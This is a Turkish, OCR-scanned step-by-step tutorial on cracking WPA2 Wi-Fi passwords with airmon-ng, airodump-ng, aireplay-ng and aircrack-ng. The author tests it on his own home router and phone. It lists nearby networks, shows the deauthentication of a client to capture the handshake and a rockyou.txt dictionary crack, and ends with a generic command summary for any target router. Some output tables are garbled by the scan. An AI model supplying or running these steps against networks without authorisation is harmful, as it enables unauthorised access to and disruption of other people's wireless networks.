Aircrack-ng Ile WPA?2 Sifre Kirma

Bu dokiimanda USB Wifi dongle kullanilarak etraftaki router'lardan birisi hedef secilecektir,
ardindan router'a giden ve gelen paketler monitor edilecektir, daha sonra hedef router'a bagh
istemcilerden birisi deauthenticate edilerek istemcinin router'a tekrar baglanti kurmak igin
gonderecegi WPA2 anahtarin (router sifresini) iceren paketler yakalanacaktir. Son olarak
dosyalanan paketlerden anahtar tasiyan paketler aircrack-ng ve bir wordlist ile kirilacaktir ve hedef
router'in sifresi elde edilecektir.

NOT: Bu dokiimanda hedef router olarak evdeki Airties_Air5341 modemi, deauthenticate edilecek
istemci olarak da cep telefonum Nokia Lumia 620 secilmistir. Bu cihazlarla bu dékiimandaki
sifre kirma islemi birebir denenmis ve basarili olunmustur.

Ilk olarak usb wifi cihazim monitér moda gegirmemiz gerekmektedir. Bunun icin usb wifi cihazini
bilgisayara takalim ve Ubuntu masaiistiiniin sag iist kdsesinde yer alan internet simgesine tiklayip
usb wifi bir aga baglanmissa disconnect edelim. Ardindan USB wifi'in interface adin1 6grenmek
icin asagidaki kodu girelim:

> ifconfig
Output:
ethO Link encap:Ethernet HWaddr 20:cf:30:64:a9:d5
inet addr:192.168.2.201 Bcast:192.168.2.255 Mask:255.255.255.0
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
wlan0 Link encap:Ethernet HWaddr 48:5d:60:38:0a:ff
inet addr:192.168.2.70 Bcast:192.168.2.255 Mask:255.255.255.0
wlan2 Link encap:Ethernet HWaddr ec:08:6b:17:c4:24

UP BROADCAST MULTICAST MTU:1500 Metric:1

USB Wifi cihazi takili degilken wlan2 interface'i olmadigindan ve USB wifi cihaz takili oldugunda
wlan2 interface'i oldugundan Usb Wifi cihazinin interface'inin wlan2 oldugunu anlarz. Simdi bu
interface adim kullanarak asagidaki kodlar1 terminale girelim.

> airmon-ng stop wlan2
> ifconfig wlan2 down
> airmon-ng start wlan2 4

airmon-ng kodu ile usb wifi'l channel 4'te monitér moda gecirmis oluyoruz.

NOT: Airmon-ng'nin aldigi 4 numarasi usb wifi'in dinleyecegi channel'l ifade eder. Channel 4'iin
secilmesinin nedeni sonraki asamalarda, secilen modem'in channel 4'ten ¢alistigi hatasini
vermesinden dolayidir. Bir baska router secildiginde eger baska bir channel hata olarak
veriliyorsa o zaman bu asamaya doniiliip channel'in istenilen degerde girilmesi gerekmektedir.



Siradaki islem monitér moddaki usb wifi'in tespit ettigi etraftaki router'lar1 6grenmektir. Bu islem
icin asagidaki kod kullanilir.

Terminal 1:
> airodump-ng wlan2 /I (V) Uyart:
// Bir Onceki Komut Cahstifinda USB ethernet
// Interface Adi Yenilenebilir. Bu Durumda
// Bir Onceki Komutun Sundugu Yeni Ethernet
// Interface Adiyla airodump-ng Kullanilmahdir.
Output:

hefese-N61Jq: /home/hefese

CH 9 ][ Elapsed: 36 s ][ 2016-04-38 07:04

BSSID PWR Beacons #Data, #/s C ENC CIPHER AUTH ESSID

18:28:61:B7:33:88
14:CC:20:A8:8B:7A
08:63:61:9A:4A:D0
14:B9:68:D7:93:B4
BC:F6:85:4E:62:D3
18:28:61:18:82:21
F8:1A:67:87:4E:F0
18:28:61:EA:36:28
EC:CB:30:CE:4E:2C
CB:3A:35:FB:C4:40
50:67:F0:8D:73:E1
:FC:00:EB:DF
:BD:4A:18:E4
95:89:9C:28
61:FA:64:1A
138:37:90:3F
:6E:1F:EC:00:83
E8:DE:27:73:CF:57
F4:E3:FB:B9:97:F3
64:66:B3:55:24:D3

WPA2 CCMP  PSK audio78
WPAZ CCMP PSK ENES5706
. WPA2 CCMP PSK TTNET_HUAWEI_4AC7
WPA2 CCMP PSK TTNET_HUAWEI_S3A3
WPA2 CCMP PSK  PINAR
WPA2 CCMP  PSK Zyxel03
WPA2 CCMP  PSK TTNET_TPLINK_4EF0©
WPA2 CCMP  PSK GENCFENERBAHCE
. WPA2 CCMP PSK  Yaman
WEP WEP Metronet
. WEP WEP ZyXEL
WPA TKIP 20kebabci19
WPA2 CCMP VodafoneNet-BZUNAA
WPA2 CCMP Sertkaya
AirTies Air5341
Incaramazan
dsmart_06810
EMRECAN
Kat4Daire8
TTNET_TPLINK_24D3

b B I O P PV« - T N S P N )

000 OoO=10 0000000000000 00O
20RO o=Elo0 =00 W o000 0o oo
000 OoO=10 0000000000000 00O

Diyelim ki Airties_Air5341 modemini sectik (Bu evdeki modem). Simdi bu modemin MAC
adresini BSSID siitunundan kopyalayalim:

18:28:51:FA:64:1A
NOT: BSSID demek cihazin MAC adresi demektir ve ESSID demek cihazin SSID'si yani
disaridan goriinen ismi demektir. Airties_Air5341 bir SSID'dir ve ESSID olarak

adlandirilir.

Simdi yeni bir terminal acalim ve hedef router'in MAC adresini asagidaki koda yerlestirelim.
Ardindan ENTER'layalim.

Terminal 2:

> airodump-ng -c 4 --bssid 18:28:51:FA:64:1A -w PSK wlan2



-c parametresi dinlenecek channel'in degerini alir. Yukaridaki koda gore channel 4 dinlenecektir.
--bssid hedef router'in MAC adresini alir. Boylece sadece hedef router'in paketleri kiskaca alnir.
-w parametresi yakalanan paketlerin dosyalanacagi dosyanin adin alir.

Yukandaki kodun ¢iktis1 asagidaki gibi olur:

Output:

) root@hefese-N61Jq: fhome/hefese
root@hefese-N61Jq: fhome/hefese x | root@hefese-N61Jq: fhome/hefese X
CH 4 ][ Elapsed: 12 s ][ 2016-04-30 07:41
BSSID PWR RX(Q Beacons #Data, #/s CH MB ENC CIPHER AUTH E

18:28:61:FA:64:1A 0 4 47 219 0 4 54e WPA2 CCMP PSK A

BSSID STATION PHR Rate Lost Packets Probes

18:28:61:FA:64:1A 3C:C2:43:5E:ED:C8 ] fe- Oe ] 222

Yukaridaki resmin ilk kisminda secti§imiz router ve detaylar1 yer almaktadir. ikinci kisminda ise
router'a baglh istasyonlar (istemciler) listelenmektedir. Goriildiigii {izere bir tane istemci vardir.
Yukaridaki kod hedef router'in gelen giden paketlerini dosyalama vazifesi gormektedir. Dolayisiyla
siradaki kod ¢alistirilacagi zaman bu kod ¢alismaya devam etmelidir! $imdi yukaridaki ekranda
belirtilen istasyonun (istemcinin) MAC'ini kopyalayalim.

3C:C2:43:5E:ED:C8 // Bu MAC Nokia Lumia 620'nindir. Ciinkii evde internete
// bagh baska cihaz yok. Laptop'in ethernet kablosunu ¢ektim
// ve wifi'dan olan baglantisini kapattim. Lumia'nin
// web tarayicisini kullandigimda, 6rnegin bir sayfay1
// refresh'ledigimde Station'in Packet siitunundaki deger
// sabitken bir anda firliyor. Dolayisiyla bu mac Lumianin.

Mac'ini aldigimiz istemciyi deauthenticate edelim. Bunun i¢in bir {i¢iincii terminal acalim ve
asagidaki kodu girelim:

Terminal 3:
> aireplay-ng -0 3 -a 18:28:61:FA:64:1A -c 3C:C2:43:5E:ED:C8 wlan2
-0 ifadesi deauthenticate et manasina gelir.
3 sayis1 3 tane deauthenticate paketini istemciye gonder anlamina gelir.

-a parametresi Access Point'in MAC adresini alir.
-c parametresi ise client'in mac adresini alir.



Output:

£ root@hefese-N61Jq: fhome/hefese i
i

root@hefese-MN61Jq: fhome... ® root@hefese-N61Jq: /fhome... x root@hefese-N61Jq: fhome... x §
: fhome fhefese# aireplay-ng -© 3 18: :61:FA:64:1A -c 3C:C2:4)
for beacon frame (B D: 18:28: g = :1A) on channel 4

64 directed DeAuth. MAC: [3C: 3 3 3 c8] [ ©]|62 ACKs]
64 directed DeAuth. MAC: [3C: = 2 = c8] [ 9|65 ACKs]

64 directed DeAuth. STMAC: [3C: g 3 :ED:Cc8] [ ®]|63 ACKs]
recot@hefese-N6131q: /home fhefese#

Not:

Eger “Kullanilan channel farkli, AP channel’1 farkli” uyarisi gelirse ve yukarida gerceklesen
deauthenticate paketleri gonderimi gerceklesmezse iki alternatif yontem uygulanabilir.
Birinci yontem bir énceki adimda ¢alistirdigimiz airodump-ng’yi durdurup uyarida bahsi
gecen AP’nin calistig1 channel degeri ile calistirip tekrardan airodump-ng ile deauthenticate
adimi olan komutu uygulayabiliriz ve yukarida gerceklesen deauthenticate paketleri
gonderimi gerceklesebilir. ikinci yéntem aireplay-ng adimim (yani deauthenticate paket
gonderme adimini) farkli channel uyarisi verse de tekrar tekrar calistirma denemesi
yapilabilir ve en nihayetinde channel’lar denk geldiginde calisip deauthenticate paketleri
gonderilebilir (Benim Not: Her iki yontem de denenmistir ve birinci yontemde bazen
basarili olunurken ikinci yontemde devaml bagarili olunmustur).

Deauthenticate olan Lumia otomatikmen tekrar internete baglanmaya ¢alisacaktir ve bu sayede
router ile arasinda handshake paketleri gidip gelecektir ve router'a gelen giden paketleri dinleyen ve
dosyalayan terminal 2'deki airodump-ng tool'u WPA2 sifresini (router'in sifresini) yakalamig
olacaktir. Simdi terminal 2 'deki paketleri dosyalayan airodump-ng tool'unu sonlandiralim ve
gercekten de WPA?2 sifresi dosyalanmis mi1 diye Wireshark ile airodump-ng'nin olugturdugu
dosyaya bakalim.

> sudo wireshark &

Acilan wireshark ekranindan File -> Open meniisiine tiklayalim ve PSK-01.cap dosyasini segelim.

Edit ools Internals Help

e ® =" g Q MEIE L B @& EX @
Filter: ] wireshark: Open Capture File
ome efese eskbo
g FARE hefese Desktop
WIRESHARK v
Places Name +  Size Modified
Y | A tome [ anahtar 18k8 28012016
" [ Desktop _Ibga 1,8kB 13-02-2016
Interface List T [ bga.pub 401 bytes 13-02-2016
Live list of the capture interfag . 1 examples.desktop 9,0kB  30-08-2015
(counts incoming packets) Devices . .
genymotion-2.5.2_x64.bin 25,4MB  30-09-2015
Q i
A Start [ Computer [ kali.pem 17kB 13042016 L
Choose one or more interfaces D4DE-1... & |1 ns2 yikleme basarili 3,2kB 31-08-2015
= | ETosHIBA & | FEEEPTIES 1,01 07:41 |
etho .
@ wiano Y] PSK-01.csv 589 bytes 07:41 B = possible
- i '] PSK-01.kismet.csv 604 bytes 07:41
6 i PSK-01.kismet.netxml 3,7kB 07:41
£ lnflog
& nFqueve Filter: Format: Wireshark/tcpdumpy/... - pcap
# wlan2 Enable MAC name resolution Size: 651000 bytes
@any . Enable transport name resolution Packets: 3196
® Capture Options Enable network name resolution First Packet: 2016-04-30 07:34:32
Start a capture with detailed o Use external network name resolver  glapsed time: 00:07:00
Cancel Oopen
Y =TT oy —




NOT: PSK-01.cap dosyasinin adi Terminal 2'deki airodump komutunun aldigi PSK argtimani
nedeniyle PSK olmustur.

airodump-ng -c 4 --bssid 18:28:51:FA:64:1A -w PSK wlan2

Wireshark -> File -> Open -> PSK-01.cap ile agilan penceredeki sag tarafta yer alan Info siitununa
birkacg kez tiklandig1 takdirde Key ifadeli paketler asagidaki gibi ilk siralarda ekrana yansiyacaktir.

PS5K-01.cap [Wireshark 1.10.6 (v1.10.6 from master-1.10)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

Bl & = @ B b EE X @

® = =1 X Cc Q¢ IT & [E

Filter: | v | Expression... Clear Apply Save
No. Time Source Destination Protocol Lengtl |Info
757 14.271360 Alrtiesw fa: Nokia 5e:ed: 133 Key (Message 1 of
759 14.273920 Nokia Se:ed:c8 AlrtiesW fa:64:1a EAPOL 155 Key (Message 2 of 4)
761 14.277504 Alrtiesw fa:64:1a Nokia 5Se:ed:c8 EAPOL 237 Key (Message 3 of 4)
763 14.28B8576 Nokia 5e:ed:c8 Adrtiesw fa:64:1a EAPOL 133 Key (Message 4 of 4)
38 6.913984 Nokia Se:ed:c8 Alrtiesw fa:64:1a 802.11 24 Null function (MNo data), SN=4, FN=0, Flags=....... T
40 6.917056 Nokia 5e:ed:c8 Airtiesw fa:64:1a 802.11 24 Null function (No data), SN=5, FN=0, Flags=...P...T
42 6.924224 Nokia 5e:ed:c8 Adrtiesw fa:64:1a 802.11 24 Null function (Mo data), SN=6, FN=0, Flags=....... T
49 7.929344 Nokia Se:ed:c8 Alrtiesw fa:64:1a 802.11 24 Null function (MNo data), SN=7, FN=0, Flags=...P...T
50 7.929344 Nokia 5e:ed:c8 Airtiesw fa:64:1a 802.11 24 Null function (No data), SN=7, FN=0, Flags=...PR..T
51 7.929856 Nokia 5e:ed:c8 Adrtiesw fa:64:1a 802.11 24 Null function (Mo data), SN=7, FN=0, Flags=...PR..T
56 8.441344 Nokia Se:ed:c8 Airtiesw fa:64:1a 8682.11 24 Null function (Mo data), SN=8, FN=B, Flags=...P...T
57 8.441856 Nokia 5e:ed:c8 Airtiesw fa:64:1a 802.11 24 Null function (No data), SN=8, FN=0, Flags=...PR..T
58 8.442368 MNokia 5e:ed:c8 AdrtieswWw fa:64:1a 802.11 24 Null function (Mo data), SN=8, FN=0, Flags=...PR..T
59 8.442368 Nokia Se:ed:c8 Airtiesw fa:64:1a 882.11 24 Null function (No data), SN=8, FN=B, Flags=...PR..T

»Frame 757: 133 bytes on wire (1864 bits), 133 bytes captured (1064 bits)
»IEEE 802.11 QoS Data, Flags: ......F.

pLogical-Link Contrel

»802.1X Authentication

Handshake paketlerini goriintiilemenin bir baska yolu da filtre kutucuguna eapol yazmaktir.

PSK-O1.cap [Wireshark 1.10.6 (v1.10.6 from master-1.10)]

File Edit Wiew Go Capture Analyze Statistics Telephony Tools Internals Help

— £ — - ==
e @ = == X Cc Q<< > ¥ F & (HE = o @
Filter: | eapol - | Expression... Clear Apply Sawve
No. Time Source Destination Protocol Lengtlk Info

E 14271366 Adirtiesw fa:64:1a Nokia 5e:ed: : | Key (Message 1

759 14.273920 Nokia Se:ed:c8 Airtiesw fa:64:1a EAPOL 155 Key (Message 2 of 4)
761 14.277584 Adrtiesw fa:64:1a Nokia_ Se:ed:cB8 EAPOL 237 Key (Message 3 of 4)
763 14.280576 Nokia 5e:ed:c8 Adrtiesw fa:64:1a EAPOL 133 Key (Message 4 of 4)

[!] Uyar:

Eger handshake (key) paketleri yukaridaki gibi siralanmazsa yani sniff’lenememisse bir
onceki aireplay-ng komut adiminda deauthenticate paket génderim sayisi -0 parametresine

3 yerine 6rnegin 10 girerek arttirilir ve deauthenticate paket génderimi bu sekilde
tekrarlanir. Ardindan tekrar dosya wireshark’da acilir ve key paketleri gelmis mi kontrol
edilir. Gelmemigse tekrar aireplay-ng adimi -0 parametresinde 10 degeri var iken tekrarlanir.
Key’ler dosyaya gelene kadar aireplay-ng adimi tekrarlanir.

Not: Eger aireplay-ng adiminda “channel farkli” uyarisi gelirse ve deauthenticate
paketlerini gonderme yapmazsa komut ¢alistirllmasi ayni sekilde tekrardan
denenmelidir. Channel’lar denk gelene kadar aireplay-ng adimindaki komut
calistirllmasi aym sekilde tekrarlanmalidir. Bir siire sonra ¢aligtirilan komutun
channel’r AP’nin channel’1yla denk gelecektir ve deauthenticate paketleri gonderimi
saglanabilecektir.



Tekrarh aireplay-ng ile deauthenticate paket gonderimleri sonucunda en nihayetinde
tekrardan bir aireplay-ng adimi sonrasi daha wireshark ile dosya acildiginda key paketlerinin
dosyaya geldigi goriilecektir. (Benim Not: Bu belge 2022 yilinda denendiginde birkag
denemede key’ler gelmemistir ama birka¢ deneme sonrasi tekrar deneme sonucunda
tekrardan dosya acgildiginda key’lerin geldigi goriilmiistiir).

Boylece istemcinin (lumia'nin) router'a deauthenticate sonrasi tekrar baglanmak icin sifre
gonderdigini ve airodump-ng komutumuzun da havada giden bu paketi dosyaya kaydettigini
yukarida sirali paketlerden anlamis bulunmaktayiz. Simdi bu dosyayi aircrack-ng'ye verelim ve bir
wordlist ile bu dosyadaki KEY paketlerinin icerdigi WPA sifresini (router'in sifresini) kiralim.

Terminal 4:
> aircrack-ng -w rockyou.txt -b 18:28:61:FA:64:1A PSK-01.cap

-w wordlist'i alir.
-b daha 6nce kullandigimiz Router MAC'ini alir.

NOT: rockyou.txt dosyasinin igerisinde bir yere “tuzlucayir” string'i yerlestirilmistir.

Output:

e

root@hefese-N61Jq: /home/hefese
ocot@hefese-N61Jq: fhome/hefese# aircrack-ng psk-©®1.cap -w rockyou.txt
Dpening psk-01.cap
head 9758 packets.
# BSSID ESSID Encryption
1 18:28:61:FA:64:1A AirTies_Air5341 WPA (1 handshake)

hoosing first network as target.

bpening psk-©1.cap
heading packets, please wait...

Aircrack-ng 1.1

14] 30168 keys tested (2087.59 k/s)

KEY FOUND! [ ]

Master Key : EG AB 90 A0
D6 31 DE E3

Transient Key : B4 B2 59 17
8B 87 05 C1
81 B2 CB 9A
82 59 8B D3

EAPOL HMAC : E8 8B F3 E6
oot@hefese-N611q: fhome/hefese# l

Goriildiigii tizere PSK-01.cap dosyasindaki WPA?2 sifresi rockyou.txt ile kirilmistir ve router'in
sifresinin tuzlucayir oldugu tespit edilmistir. Artik sifreli erisime sahip router'a erisebiliriz.



Ozet

# Once usb wifi'y1 monitér moda gecirelim. Bunun i¢in Ubuntu masaiistiiniin
# sag list kosesindeki internet baglantisina tikla ve USB Wifi1
# disconnect et. Ardindan sunlar terminale gir.

Terminal 1:
> airmon-ng stop wlan2
> ifconfig wlan2 down

> airmon-ng start wlan2 4
> airodump-ng wlan2

# Yukaridaki kodla ekrana gelen router'lardan birini se¢ ve mac adresini
# kopyala. Ardindan yeni bir terminal a¢ ve kopyaladigin mac'i asagidaki
# koda koyup hedef router'in paketlerini dosyalamaya basla.

Terminal 2:

> airodump-ng -c 4 --bssid Hedef_Router_MAC_Adresi -w psk wlan2

# Yukaridaki kod dosyalamaya devam etsin. Yakaldig1 hedef router'a

# bagl station'lardan (client'lardan) birinin mac'ini kopyalayalim ve

# deauthenticate etmek icin agsagidaki koda koyup kodu yeni bir terminalde
# calistiralim.

Terminal 3:

> aireplay-ng -0 10 -a Router_ MAC_Adresi -c Client_ MAC_Adresi wlan2

# Boylelikle 6nceki terminal penceresinde calisan airodump-ng komutu deauthenticate
# olan istemci tekrar baglanacagi zamanki handshake paketlerini yakalayip dosyalayacaktir.
# Bundan sonraki asama elde edilen handshake paketlerini aircrack tool'una kirdirmak olacaktir.

Terminal 4:

> aircrack-ng -w rockyou.txt -b Router_Mac_Adresi psk-01.cap

# Ekrana kirilan sifre gosterilecektir.

Kaynak: https://www.youtube.com/watch?v=GLO9HGDwOYO0
https://www.voutube.com/watch?v=WfYxrL.agIN8



https://www.youtube.com/watch?v=GLO9HGDwOY0

